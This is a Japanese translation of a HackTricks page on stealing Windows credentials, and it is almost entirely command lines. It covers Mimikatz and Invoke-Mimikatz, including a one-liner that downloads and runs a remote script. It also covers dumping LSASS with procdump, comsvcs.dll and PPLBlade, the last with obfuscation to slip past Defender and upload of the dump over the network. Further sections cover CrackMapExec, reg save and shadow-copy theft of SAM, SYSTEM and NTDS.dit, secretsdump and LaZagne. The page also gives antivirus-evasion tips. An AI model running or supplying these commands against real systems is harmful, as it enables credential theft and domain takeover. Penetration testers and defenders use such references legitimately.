hacktricks/windows-hardening/stealing-credentials
2024-04-06 18:36:04 +00:00
..
credentials-mimikatz.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
credentials-protections.md GitBook: No commit message 2024-04-06 18:36:04 +00:00
README.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
WTS-Impersonator.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:39:37 +00:00
wts-impersonator.md GitBook: No commit message 2024-04-06 18:36:04 +00:00

Windows資格情報の盗み取り

**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

資格情報 Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

このページ でMimikatzができる他のことを見つける。

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

こちらで可能な資格情報保護について学んでください。 これらの保護は、Mimikatzが一部の資格情報を抽出するのを防ぐ可能性があります。

Meterpreterを使用した資格情報

被害者の中でパスワードとハッシュを検索するために、私が作成したCredentials Plugin を使用してください。

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

AV回避

Procdump + Mimikatz

SysInternalsProcdumpSysInternalsからの合法的なMicrosoftツールなので、Defenderに検出されません。
このツールを使用してlsassプロセスをダンプし、ダンプをダウンロードして、ダンプからローカルで資格情報を抽出することができます。

{% code title="lsassをダンプする" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% endcode %}

{% code title="ダンプから資格情報を抽出する" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

このプロセスは、SprayKatzを使用して自動的に実行されます: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

注意: 一部の AVprocdump.exe で lsass.exe をダンプすることを 悪意のあるものとして 検出する場合があります。これは、"procdump.exe" と "lsass.exe" という文字列を 検出しているためです。そのため、lsass.exe の PID を procdump に 引数として 渡すことが lsass.exe の名前よりもステルスです。

comsvcs.dll を使用して lsass をダンプする

C:\Windows\System32 にある comsvcs.dll という名前の DLL は、クラッシュが発生した場合に プロセスメモリをダンプする責務を持っています。この DLL には、rundll32.exe を使用して呼び出される MiniDumpW という名前の 関数 が含まれています。
最初の2つの引数を使用する必要はありませんが、3番目の引数は3つのコンポーネントに分割されます。ダンプするプロセスの PID が最初のコンポーネントを構成し、ダンプファイルの場所が2番目を表し、3番目のコンポーネントは厳密に full という単語です。代替オプションは存在しません。
これらの3つのコンポーネントを解析すると、DLL はダンプファイルを作成し、指定されたプロセスのメモリをこのファイルに転送します。
comsvcs.dll の利用は、lsass プロセスをダンプするために procdump をアップロードして実行する必要がなくなります。この方法について詳しくは、https://en.hackndo.com/remote-lsass-dump-passwords/ で説明されています。

以下のコマンドが使用されます:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

**lssasy**を使用して、このプロセスを自動化できます。

タスクマネージャーを使用してlsassをダンプする

  1. タスクバーを右クリックし、タスクマネージャーをクリックします。
  2. 「詳細」をクリックします。
  3. プロセスタブで「Local Security Authority Process」プロセスを検索します。
  4. 「Local Security Authority Process」プロセスを右クリックし、「ダンプファイルの作成」をクリックします。

procdumpを使用してlsassをダンプする

Procdumpは、sysinternalsスイートの一部であるMicrosoftによって署名されたバイナリです。

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

PPLBladeを使用してlsassをダンプする

PPLBladeは、保護されたプロセスダンパーツールであり、メモリダンプを難読化し、それをディスクにドロップせずにリモートワークステーションに転送する機能をサポートしています。

主な機能:

  1. PPL保護のバイパス
  2. Defenderのシグネチャベースの検出メカニズムを回避するためのメモリダンプファイルの難読化
  3. ディスクにドロップせずにRAWおよびSMBアップロード方法でメモリダンプをアップロードするファイルレスダンプ

{% code overflow="wrap" %}

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

{% endcode %}

CrackMapExec

SAMハッシュのダンプ

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

LSAシークレットのダンプ

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

ターゲットDCからNTDS.ditをダンプする

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

ターゲットDCからNTDS.ditのパスワード履歴をダンプします

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

各NTDS.ditアカウントのpwdLastSet属性を表示します

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

SAM & SYSTEMの盗み出し

これらのファイルは_C:\windows\system32\config\SAM_と_C:\windows\system32\config\SYSTEM_に配置されているはずです。しかし、それらは保護されているため、通常の方法で単純にコピーすることはできません。

レジストリから

これらのファイルを盗む最も簡単な方法は、レジストリからコピーすることです:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Kaliマシンにそれらのファイルをダウンロードし、次のコマンドを使用してハッシュを抽出します:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

ボリューム シャドウ コピー

このサービスを使用して、保護されたファイルのコピーを作成できます。管理者である必要があります。

vssadmin を使用する

vssadmin バイナリは Windows Server バージョンのみで利用可能です。

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

しかし、同じことをPowershellからも行うことができます。これはSAMファイルをコピーする方法の例です(使用されるハードドライブは"C:"で、C:\users\Publicに保存されます。保護されたファイルをコピーするためにこれを使用できます。

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

コードはこちらから: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

最後に、PSスクリプトInvoke-NinjaCopyを使用して、SAM、SYSTEM、およびntds.ditのコピーを作成することもできます。

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

NTDS.ditファイルはActive Directoryの中心部として知られており、ユーザーオブジェクト、グループ、およびそれらのメンバーシップに関する重要なデータを保持しています。ドメインユーザーのパスワードハッシュが格納されている場所です。このファイルは**Extensible Storage Engine (ESE)データベースであり、_%SystemRoom%/NTDS/ntds.dit_に存在します。

このデータベース内では、3つの主要なテーブルが管理されています:

  • Data Table: このテーブルは、ユーザーやグループなどのオブジェクトの詳細を格納する役割を担っています。
  • Link Table: グループメンバーシップなどの関係を追跡します。
  • SD Table: 各オブジェクトのセキュリティ記述子がここに保持され、格納されたオブジェクトのセキュリティとアクセス制御を確保します。

これに関する詳細情報: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windowsは_Ntdsa.dll_を使用してそのファイルとやり取りし、_lsass.exe_によって使用されます。その後、NTDS.ditファイルの一部は**lsassメモリ内に位置している可能性があります(おそらくキャッシュ**を使用してパフォーマンスが向上しているため、最新にアクセスされたデータを見つけることができます)。

NTDS.dit内のハッシュの復号化

ハッシュは3回暗号化されます:

  1. BOOTKEYRC4を使用して**パスワード暗号化キーPEK**を復号化します。
  2. PEKRC4を使用してハッシュを復号化します。
  3. DESを使用してハッシュを復号化します。

PEKすべてのドメインコントローラーで同じ値を持っていますが、NTDS.ditファイル内でドメインコントローラーのSYSTEMファイルのBOOTKEYを使用して暗号化されていますドメインコントローラー間で異なります。これは、NTDS.ditファイルから資格情報を取得するためには、NTDS.ditファイルとSYSTEMファイルC:\Windows\System32\config\SYSTEM)が必要な理由です。

Ntdsutilを使用してNTDS.ditをコピー

Windows Server 2008以降で利用可能です。

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

また、ボリュームシャドウコピートリックを使用してntds.ditファイルをコピーすることもできます。SYSTEMファイルのコピーも必要です(再び、レジストリからダンプするか、ボリュームシャドウコピートリックを使用してください)。

NTDS.ditからハッシュを抽出する

NTDS.ditSYSTEMファイルを入手したら、_secretsdump.py_などのツールを使用してハッシュを抽出できます。

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

あなたはまた、有効なドメイン管理者ユーザーを使用して、それらを自動的に抽出することもできます:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

大きなNTDS.ditファイルの場合は、gosecretsdumpを使用して抽出することをお勧めします。

最後に、metasploitモジュールを使用することもできます: _post/windows/gather/credentials/domain_hashdump_またはmimikatz lsadump::lsa /inject

NTDS.ditからドメインオブジェクトをSQLiteデータベースに抽出する

NTDSオブジェクトは、ntdsdotsqliteを使用してSQLiteデータベースに抽出できます。秘密情報だけでなく、生のNTDS.ditファイルがすでに取得されている場合に、さらなる情報抽出のためにオブジェクト全体とその属性も抽出されます。

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

SYSTEMハイブはオプションですが、シークレットの復号化NTおよびLMハッシュ、クリアテキストパスワード、Kerberosまたは信頼キー、NTおよびLMパスワード履歴などの補足資格情報を可能にします。他の情報と共に、次のデータが抽出されますユーザーとマシンアカウントとそれらのハッシュ、UACフラグ、最終ログオンおよびパスワード変更のタイムスタンプ、アカウントの説明、名前、UPN、SPN、グループと再帰的メンバーシップ、組織単位ツリーとメンバーシップ、信頼されたドメインと信頼のタイプ、方向、属性...

Lazagne

ここからバイナリをダウンロードしてください。このバイナリを使用して、複数のソフトウェアから資格情報を抽出できます。

lazagne.exe all

SAM と LSASS から資格情報を抽出するためのその他のツール

Windows Credentials Editor (WCE)

このツールはメモリから資格情報を抽出するために使用できます。こちらからダウンロードしてください。

fgdump

SAM ファイルから資格情報を抽出します。

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAMファイルから資格情報を抽出します

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

ここからダウンロードして、単に実行するだけでパスワードが抽出されます。

防御策

こちらでいくつかの資格情報保護について学びましょう。

**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学びましょう !!

HackTricksをサポートする他の方法: